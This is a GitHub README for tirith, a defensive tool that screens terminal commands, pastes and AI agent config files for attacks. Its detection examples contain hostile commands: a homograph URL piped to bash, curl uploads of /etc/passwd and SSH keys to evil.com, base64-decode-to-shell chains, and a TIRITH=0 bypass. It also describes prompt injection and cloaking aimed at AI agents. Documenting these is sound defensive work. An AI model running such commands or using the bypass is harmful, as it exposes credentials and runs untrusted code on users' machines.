Skip to content

sheeki03/tirith

Repository files navigation

tirith

Your browser would catch this. Your terminal won't.

tirith — terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | Changelog


Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, and malicious AI skills/configs before they execute.

brew install sheeki03/tap/tirith

Then activate in your shell profile:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, mise, apt/dnf, and more.


See it work

Homograph attack — blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL — warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter — Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Base64 decode-execute chain — blocked:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute — Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter — Pipe to interpreter: base64 | bash

Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.

Credential exfiltration — blocked:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration — Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.

Malicious skill file — caught on scan:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py — 3 finding(s)
  [MEDIUM] dynamic_code_execution — exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload — Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration — HTTP call passes sensitive data as argument

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

Normal commands — invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.


What it catches

80+ detection rules across 15 categories.

Category What it stops
Homograph attacks Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains
Terminal injection ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors
Pipe-to-shell curl | bash, wget | sh, httpie | sh, xh | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern
Base64 decode-execute base64 -d | bash, python -c "exec(b64decode(...))", powershell -EncodedCommand — decode chains through sudo/env wrappers
Data exfiltration curl -d @/etc/passwd, curl -T ~/.ssh/id_rsa, wget --post-file, env var uploads ($AWS_SECRET_ACCESS_KEY), command substitution exfil
Code file scanning Obfuscated payloads (eval(atob(...))), dynamic code execution (exec(b64decode(...))), secret exfiltration via fetch/requests.post in JS/Python files
Credential detection AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection
Post-compromise behavior Process memory scraping (/proc/*/mem), Docker remote privilege escalation, credential file sweeps — inspired by the TeamPCP attack
Command safety Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access
Insecure transport Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations
Environment Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env
Config file security Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive)
Ecosystem threats Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured
Path analysis Non-ASCII paths, homoglyphs in paths, double-encoding
Rendered content Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium)
Cloaking detection Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text

AI agent security

Tirith protects AI coding agents at every layer — from the configs they read to the commands they execute.

Shell hooks — passive command interception

When AI agents execute shell commands (Claude Code, Codex, Cursor, etc.), tirith's shell hooks intercept every command before it runs. No agent-side configuration needed — if the hook is active in the shell, all commands are guarded:

  • Blocks dangerous commands — homograph URLs, pipe-to-shell, insecure downloads
  • Blocks malicious paste — ANSI injection, bidi attacks, hidden multiline in pasted content
  • Works with every agent — any tool that spawns a shell inherits tirith protection
  • Zero agent modification — the agent doesn't know tirith exists until a command is blocked

Use tirith setup <tool> for one-command configuration (see AI Agent Integrations).

MCP server (7 tools)

Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:

Tool What it does
tirith_check_command Analyze shell commands for pipe-to-shell, homograph URLs, env injection
tirith_check_url Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs
tirith_check_paste Check pasted content for ANSI escapes, bidi controls, zero-width chars
tirith_scan_file Scan a file for hidden content, invisible Unicode, config poisoning
tirith_scan_directory Recursive scan with AI config file prioritization
tirith_verify_mcp_config Validate MCP configs for insecure servers, shell injection in args, wildcard tools
tirith_fetch_cloaking Detect server-side cloaking (different content for bots vs browsers)

Config file scanning

tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • .claude/ settings, agents, skills, plugins, rules
  • .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configs
  • mcp.json, .mcp.json, mcp_settings.json
  • .github/copilot-instructions.md, .github/agents/*.md

What it catches in configs:

  • Prompt injection — skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions
  • Invisible Unicode — zero-width characters, bidi controls, soft hyphens, Unicode tags hiding instructions
  • MCP config issues — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access

Hidden content detection

Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:

  • CSS hidingdisplay:none, visibility:hidden, opacity:0, font-size:0, off-screen positioning
  • Color hiding — white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
  • HTML/Markdown comments — prompt injection phrases (High), destructive commands like rm -rf or curl|bash (Medium), long comments hiding instructions (Low)
  • PDF hidden text — sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs

Cloaking detection

tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.


Install

macOS

Homebrew:

brew install sheeki03/tap/tirith

Linux Packages

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 9+ (.rpm):

Download from GitHub Releases, then:

sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):

yay -S tirith
# or: paru -S tirith

Nix:

nix profile install github:sheeki03/tirith
# or try without installing: nix run github:sheeki03/tirith -- --version

Windows

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey (under moderation — pending approval):

choco install tirith

Cross-Platform

npm:

npm install -g tirith

Cargo:

cargo install tirith

Mise (official registry):

mise use -g tirith

asdf:

asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Activate

Add to your shell profile (.zshrc, .bashrc, or config.fish):

eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish
Shell Hook type Tested on
zsh preexec + paste widget 5.8+
bash preexec (two modes) 5.0+
fish fish_preexec event 3.5+
PowerShell PSReadLine handler 7.0+

Bash uses enter mode by default with automatic fallback to preexec on failure. See troubleshooting for details on error handling and SSH fallback behavior.

Nix / Home-Manager: tirith must be in your $PATH — the shell hooks call tirith by name at runtime. Adding it to initContent alone is not enough.

home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

Shell Integrations

Oh-My-Zsh:

git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

AI Agent Integrations

Use tirith setup <tool> for one-command configuration:

tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp   # Gemini CLI + MCP server
tirith setup pi-cli                  # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

For manual configuration, see mcp/clients/ for per-tool guides.


Commands

Command What it does
tirith check -- <cmd> Analyze a command without executing it
tirith paste Check pasted content (called automatically by shell hooks)
tirith scan [path] Scan files/directories for hidden content, config poisoning, malicious code patterns. Supports --sarif and --ci --fail-on high
tirith run <url> Safe curl | bash replacement. Downloads, analyzes, shows SHA256, opens for review, executes only after confirmation
tirith score <url> Break down a URL's trust signals
tirith diff <url> Byte-level comparison showing where suspicious characters hide
tirith fetch <url> Detect server-side cloaking (different content for bots vs browsers)
tirith why Explain the last rule that triggered
tirith receipt {last,list,verify} Track and verify scripts run through tirith run
tirith checkpoint {create,restore,diff} Snapshot files before risky operations, roll back if needed
tirith setup <tool> One-command setup for AI coding tools (see AI Agent Integrations)
tirith gateway run MCP gateway proxy for intercepting AI agent shell tool calls
tirith audit {export,stats,report} Audit log management for compliance
tirith init Print the shell hook for your shell profile
tirith doctor Diagnostic check for hook status and configuration
tirith mcp-server Run as MCP server over JSON-RPC stdio

Design principles

  • Offline by defaultcheck, paste, score, diff, and why make zero network calls. All detection runs locally.
  • No command rewriting — tirith never modifies what you typed
  • No telemetry — no analytics, no crash reporting, no phone-home behavior
  • No background processes — invoked per-command, exits immediately
  • Network only when you ask or configure itrun, fetch, and audit report --upload reach the network on explicit invocation. Optional webhook and policy-server integrations can also make outbound requests when configured. Core detection itself does not phone home.

Configuration

Tirith uses a YAML policy file. Discovery order:

  1. .tirith/policy.yaml in current directory (walks up to repo root)
  2. ~/.config/tirith/policy.yaml
version: 1
allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

severity_overrides:
  docker_untrusted_registry: CRITICAL

fail_mode: open  # or "closed" for strict environments

Use allowlist_rules for rule-scoped suppressions when you trust a source for one rule but do not want to globally allowlist it:

allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

More examples in docs/cookbook.md.

Bypass for the rare case you know exactly what you're doing:

TIRITH=0 curl -L https://something.xyz | bash

This is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: allow_bypass_env: false in policy.


Data handling

Local JSONL audit log at ~/.local/share/tirith/log.jsonl:

  • Timestamp, action, rule ID, redacted command preview
  • No full commands, environment variables, or file contents

Disable: export TIRITH_LOG=0


Docs

License

Core security coverage ships in the open-source tree. All 80+ detection rules and the MCP server are available from source. The repository still contains legacy licensing and policy-server code paths, so avoid assuming that every runtime path is already tier-free.

tirith is dual-licensed:

Third-party data attributions in NOTICE.

Star History

Star History Chart

About

Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.

Topics

Resources

License

AGPL-3.0, Unknown licenses found

Licenses found

AGPL-3.0
LICENSE-AGPL
Unknown
LICENSE-COMMERCIAL

Security policy

Stars

Watchers

Forks

Sponsor this project

 

Packages

 
 
 

Contributors